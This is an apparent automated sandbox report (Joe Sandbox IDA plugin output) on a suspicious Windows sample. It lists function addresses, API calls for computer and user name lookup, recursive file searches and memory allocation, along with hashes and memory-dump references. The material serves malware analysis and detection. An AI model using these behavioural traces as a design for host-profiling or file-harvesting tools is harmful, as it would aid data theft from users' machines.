Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction ID: 1e55e6aee22da07579867dcc14e26085db0c1923c06382e7ddd462ac09197dec
Opcode Fuzzy Hash: bff2cd72ca51f604b8cae6ffaccc6788292cd5c635fa360249288f38c6295135
Instruction Fuzzy Hash: 6041D474A00209EFCB54CF58C494BADBBB1FF44314F1486A9E949AB385D735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416CBC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416CBC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction ID: a2dd58c0224e163af538114889642f36ecbeef109afe3d50a53e5cb7169f74e2
Opcode Fuzzy Hash: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction Fuzzy Hash: 74F0E2B1A42208BBE7149AA4AC59FAFB799E705B04F300459F540E3290D571AF00DAA4

Function 00418F20 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction ID: 622f2f336d6b1c39152e8ed1c6124f6159486e78b27092244718ebba6cc61b65
Opcode Fuzzy Hash: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction Fuzzy Hash: 7EF01C70D0520CEBCB00EF94D4496DDBB75EB00324F10819AE82967280DB385B96CB89

Function 00418F70 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction ID: e79076dc3140f9edc5567924fb21932d6a0b2d79ef3805787682db2ce51b8011
Opcode Fuzzy Hash: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction Fuzzy Hash: 92E0127194434C6BDB51DB50CC96FDD776D9B44B11F004295BA0C5B1C0DE70AB858B95

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction ID: bcf4cddec8ba3652d3daa4bfa83a7295d39fc22ea0064294e7a9f420d8d9705c
Opcode Fuzzy Hash: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction Fuzzy Hash: E1E0ECB5D5820152DB1473B6AC06B5B339D5B1934EF04142FF90896252FE29F8404169

Function 00418FC0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 4258c76c4f47740e30e0af574e778a78e5a168a413d5b1b985f8475468444836
Instruction ID: 2ef851ca14c40c78e639e083eff5f81397fed5015ff254102f8bdb6ea656854d
Opcode Fuzzy Hash: 4258c76c4f47740e30e0af574e778a78e5a168a413d5b1b985f8475468444836
Instruction Fuzzy Hash: 3901E434904108EBCB15DF98C595BEDBBB1AF08308F24809AE9056B381C379AE84EF49

Function 61E0AE03 Relevance: 1.3, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 61E0AE3D

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction ID: a929929d55870eb2e3dfc3d9b08de53e37bb6c9da6c43a06ed963554b33c57a4
Opcode Fuzzy Hash: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction Fuzzy Hash: A5F090B1554708CFDB006FA8E8C52153BA4F746219F5840BAE8150B201D735D5E1CB91

Function 00409910 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,004108B9,?,?), ref: 00409918

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction ID: 7a81cf42230454625edcc1d807e760a9f48c6c1e1b7ee97c20b10c4417f739aa
Opcode Fuzzy Hash: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction Fuzzy Hash: F3F054B4D00208FBDB00EFA5C846B9EBBB49B08304F1085A9F905A7381E674AB14CB95

Function 61E2A6AF Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 61E2A6BF

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction ID: 08a60fc229ca929b4850671bf03eed3452f9cad2ea52f9bb94d0a5c68b8f0e05
Opcode Fuzzy Hash: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction Fuzzy Hash: 68F039B0C4830A9FCB009FA5DAC5A0DBBE8EB84258F14C46DE8988F710D334E580CB51

Non-executed Functions

Function 00413B00 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413B1C
FindFirstFileA.KERNEL32(?,?), ref: 00413B33
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

%s%s, xrefs: 00413CFD
%s\*, xrefs: 00413B10
%s\%s, xrefs: 00413BCA
%s\%s\%s, xrefs: 00413C9A
%s\%s, xrefs: 00413CBF
q?A, xrefs: 00413ED2, 00413E95, 00413DB9, 00413B59, 00413DBC, 00413E98

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$q?A
API String ID: 1125553467-4052298153
Opcode ID: fea268d9768da120239be548218c8c8cf8ff02c7c89a13463a3fbcac4a58e2da
Instruction ID: 118bc6de907018410b19fab89ebe74f6f374c1ff32bc5bb8bfd4c4c53b142975
Opcode Fuzzy Hash: fea268d9768da120239be548218c8c8cf8ff02c7c89a13463a3fbcac4a58e2da
Instruction Fuzzy Hash: E9A141B1A042189BDB24DF64DC85FEA7379BB48301F44458EF60D96181EB74AB88CF66

Function 00414B60 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414B7C
FindFirstFileA.KERNEL32(?,?), ref: 00414B93
StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

%s\%s, xrefs: 00414BF4
%s\*, xrefs: 00414B70
-SA, xrefs: 00414DE8, 00414DAB, 00414D54, 00414BA8, 00414D57, 00414DAE
%s\%s, xrefs: 00414C4B

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$-SA
API String ID: 180737720-309722913
Opcode ID: 61e93ae17d4dd6651fd0e3ffb2acfea7a32819769ee56a5c725f3113df9f7800
Instruction ID: 6eceda3e2f2aeeb228f448c6629b31eb3c314648a2220d8d34325ba683034fba
Opcode Fuzzy Hash: 61e93ae17d4dd6651fd0e3ffb2acfea7a32819769ee56a5c725f3113df9f7800
Instruction Fuzzy Hash: F2617771904218ABCB20EBA0ED45FEA737DBF48701F40458EF60996191FB74AB84CF95

Function 004147C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
HeapAlloc.KERNEL32(00000000), ref: 004147D7
wsprintfA.USER32 ref: 004147F6
FindFirstFileA.KERNEL32(?,?), ref: 0041480D
StrCmpCA.SHLWAPI(?,00420FAC), ref: 0041483B
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414851
FindNextFileA.KERNEL32(000000FF,?), ref: 004148DB
FindClose.KERNEL32(000000FF), ref: 004148F0
lstrcatA.KERNEL32(?,02CC7180,?,00000104), ref: 00414915
lstrcatA.KERNEL32(?,02CC5D78), ref: 00414928
lstrlenA.KERNEL32(?), ref: 00414935
lstrlenA.KERNEL32(?), ref: 00414946

Strings

%s\%s, xrefs: 0041486B
%s\*, xrefs: 004147EA

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction ID: 4add3c5e25650dce6a2d7e09fe25a02d5f48076a238705849ce39c3d90be09a7
Opcode Fuzzy Hash: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction Fuzzy Hash: 145187B1944218ABCB20EB70DC89FEE737DAB58300F40459EB64996190EB74EBC4CF95

Function 004140F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414113
FindFirstFileA.KERNEL32(?,?), ref: 0041412A
StrCmpCA.SHLWAPI(?,00420F94), ref: 00414158
StrCmpCA.SHLWAPI(?,00420F98), ref: 0041416E
FindNextFileA.KERNEL32(000000FF,?), ref: 004142BC
FindClose.KERNEL32(000000FF), ref: 004142D1

Strings

%s\%s, xrefs: 00414107

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: f14d33e344877791ab6cc63d7acfac9155bd3cef669ea4b7710bb091b8adace9
Instruction ID: fabef74ebea8da44b501a85f582971371f90885c40acf49b74ac124388ccf1e1
Opcode Fuzzy Hash: f14d33e344877791ab6cc63d7acfac9155bd3cef669ea4b7710bb091b8adace9
Instruction Fuzzy Hash: 745179B1904118ABCB24EBB0DD45EEA737DBB58304F4045DEB60996090EB74ABC5CF59

Function 61E94783 Relevance: 22.4, Strings: 17, Instructions: 1152COMMON

Download Yara Rule

Strings

va, xrefs: 61E9518C
rowid, xrefs: 61E951BE
bua, xrefs: 61E95230
a, xrefs: 61E9543E
content, xrefs: 61E94C7D
compress, xrefs: 61E950C7
8a, xrefs: 61E950D1
@Da, xrefs: 61E94970
4, xrefs: 61E94E16
simple, xrefs: 61E94CA1
_content, xrefs: 61E958F1
uncompress, xrefs: 61E950CC
__langid, xrefs: 61E9554B
, ?, xrefs: 61E952EC
bua, xrefs: 61E95282
bua, xrefs: 61E95118
fts3, xrefs: 61E9578D

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

